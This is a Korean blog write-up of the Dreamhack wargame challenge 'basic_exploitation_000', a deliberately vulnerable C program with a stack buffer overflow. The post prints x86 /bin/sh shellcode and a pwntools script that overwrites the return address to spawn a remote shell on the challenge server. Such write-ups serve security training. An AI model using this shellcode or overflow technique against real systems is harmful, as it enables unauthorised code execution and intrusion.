서브웨이

dreamhack basic_exploitation_000 풀이 본문

Pwnable/dreamhack

dreamhack basic_exploitation_000 풀이

샌드위치메이커 2021. 7. 19. 16:48

오랜만에 글을 쓰네요. 그동안 프로젝트와 진로에 대한 고민을 하느라 업로드를 쉬었습니다.

이제 다시 차근차근 올려보겠습니다.

 

첫 문제답게 간단해보입니다. 참고에 Return Address Overwrite가 써있는걸로 봐서 그냥 리턴 주소만 덮어씌우면 될 것 같습니다.

 

그럼 문제 파일을 봅시다.

파일은 이렇게 두개로 구성되어 있습니다.

 

먼저 C 소스코드를 봅시다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

간단하게 128바이트의 문자열이 선언되고 해당 문자열의 주소가 출력됩니다.

그리고 해당 문자열에 141바이트의 입력을 받아 BOF를 일으키면 될 것 같습니다.

 

스택은 이러한 형태로 구성되어 있을것입니다.

그렇다면 당연하게도 132바이트를 임의의 값으로 채우고 마지막 4바이트를 원하는 리턴 주소로 조작하면 될 것같습니다.

근데 어디로 돌아가야할까요? 간단하게 문자열에 쉘코드를 삽입해서 리턴주소를 해당 문자열의 시작 부분으로 설정해주면 됩니다.

사용할 쉘 코드는 다음과 같습니다.

length: 26, '\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'

 

익스플로잇 코드는 다음과 같이 구성합니다.(python3 기준)

from pwn import * 

p = remote('host1.dreamhack.games', PORT)
p.recvuntil('buf = (')
buf_adr = int(p.recv(10), 16)

payload = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload += b'\x80'*106
payload += p32(buf_adr)
p.send(payload)

p.interactive()

결과는 다음과 같습니다

오랜만에 하려니 간단한것도 오래걸리네요...

'Pwnable > dreamhack' 카테고리의 다른 글

dreamhack off_by_one_000 풀이  (0) 2021.07.27
dreamhack welcome 풀이  (0) 2021.07.20
dreamhack basic_exploitation_003 풀이  (0) 2021.07.20
dreamhack basic_exploitation_002 풀이  (0) 2021.07.20
dreamhack basic_exploitation_001 풀이  (0) 2021.07.19
Comments